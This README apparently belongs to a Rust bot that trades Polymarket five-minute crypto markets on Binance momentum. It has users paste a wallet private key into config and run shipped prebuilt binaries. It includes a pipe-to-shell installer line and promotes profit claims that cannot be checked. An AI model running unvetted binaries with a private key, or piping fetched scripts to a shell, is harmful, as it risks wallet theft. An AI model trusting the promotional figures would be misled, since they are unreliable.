⚠️ Public demo version — not the production bot

This repository is the version shared for selling / demonstration. It does not include the real production settings used on the live account, including:

• Strike time
• Entry point
• Momentum variables

The constants in this repo are illustrative. Results on @antsaslyku come from the full, tuned configuration — not from this public copy alone.

Repository: github.com/ale2348/spike-bot · Author: @ale2348

A Rust bot for Polymarket 5-minute crypto Up/Down markets — BTC, ETH, SOL, and XRP. It watches Binance spot prices for momentum, then places a limit buy on the matching Polymarket Up or Down token at the current ask, holds through resolution, and tracks P/L.

Live profile using this strategy family: @antsaslyku on Polymarket

The bot connects to Polymarket Gamma + CLOB APIs, streams live order-book prices, and can run in simulation mode (no real orders) or live mode with your wallet. Press Ctrl+C to stop.

These are real on-chain transactions from @antsaslyku on Polygon. Each pair shows the same pattern the bot follows: buy the favorite late in the window → redeem at $1.00 after resolution.

Approx. gross profit: ~$0.68 on $67 stake (1%) before fees, in ~62 seconds.

How to read these txs: The buy tx interacts with Polymarket: CTF Exchange V2 — USDC out, outcome shares in. The redeem tx settles winning shares back to USDC at $1.00 per share when the 5m window resolves. Repeat this across many windows and P/L compounds — see the full history on polymarket.com/@antsaslyku.

Live Polymarket dashboard — portfolio growth and buy/redeem activity on BTC and XRP 5m markets at 96–99¢:

• Past year P/L: +$82,537.48
• Past day P/L: +$208.04
• 24h Return: +3.51%
• Portfolio Value: ~$3,467

Trade history includes repeated entries in late-stage crypto prediction markets followed by successful redemptions at settlement.

Each 5-minute Up/Down market (BTC, ETH, SOL, XRP) runs for 300 seconds. The bot streams Binance mid-prices and Polymarket best asks in real time.

1. Subscribe to Binance book-ticker feeds for configured symbols
2. Detect momentum — price moved up or down by a USD threshold within lookback_secs
3. Buy Up on upward momentum, buy Down on downward momentum
4. Place a limit order at the current Polymarket ask (skipped if ask > max_ask_price)
5. Cancel unfilled orders after cancel_after_secs
6. Track fills and resolution — wins pay ~$1/share; losses cost the entry notional

Many windows produce no trade — normal when momentum never crosses the threshold or the ask is too high.

Wallet setup

• Windows: poly-spike-bot-x86_64.exe (included)
• Linux : Rust (stable, 2021 edition) to compile
• Mac : poly-spike-bot-mac (included)
• Polymarket wallet with USDC on Polygon
• Internet access (Polymarket Gamma + CLOB APIs, Binance WebSocket)

The repo ships a pre-built Windows binary: poly-spike-bot.exe. No Rust install needed.

git clone https://github.com/ale2348/spike-bot.git
cd spike-bot

Or download the release / zip that contains poly-spike-bot.exe.

Place config.json in the same folder as poly-spike-bot.exe:

copy config.json.example config.json

Edit config.json — set your private_key and, if using Polymarket.com login, your proxy_wallet_address. See Configuration and config.json.example.

Open Command Prompt or PowerShell in the folder with the exe:

# Default config.json in current directory
.\poly-spike-bot-x86_64.exe

# Custom config path
.\poly-spike-bot-x86_64.exe --config C:\path\to\config.json

# Optional: verbose logs
$env:RUST_LOG="info"
.\poly-spike-bot-x86_64.exe

Start with "simulation_mode": true to verify signals and logging without placing orders. Set "simulation_mode": false for live trading.

After markets resolve, redeem USDC from winning shares:

# Redeem all redeemable positions for proxy_wallet_address
.\poly-spike-bot-x86_64.exe --redeem

# Redeem a specific market condition
.\poly-spike-bot-x86_64.exe --redeem --condition-id 0xYOUR_CONDITION_ID

--redeem requires proxy_wallet_address in config.json.

curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
source "$HOME/.cargo/env"
rustc --version

git clone https://github.com/ale2348/spike-bot.git
cd spike-bot
cargo build --release

The release binary is:

target/release/polymarket-bot-5m-market-binace-free-limit-fixed-shares

cp config.json.example config.json
# edit config.json with your wallet credentials

Then run:

RUST_LOG=info ./target/release/polymarket-bot-5m-market-binace-free-limit-fixed-shares

# Custom config
./target/release/polymarket-bot-5m-market-binace-free-limit-fixed-shares --config config.json

# Redeem
./target/release/polymarket-bot-5m-market-binace-free-limit-fixed-shares --redeem

npm install -g pm2   # if PM2 is not installed
pm2 start ecosystem.config.js
pm2 logs
pm2 save

ecosystem.config.js points at the release binary under target/release/.

Optional log files:

• trades.log — buy / signal events (if trades_log is set)
• performance.log — fills, resolution, cumulative P/L (default)

• Momentum can reverse — a filled order on the wrong side loses the entry cost.
• Not every signal trades — cooldown, max ask, missing liquidity, or one order per 5m window per market can skip entries.
• Demo config ≠ production — @antsaslyku results use tuned parameters not shipped in this repo.
• Not financial advice — use at your own risk.
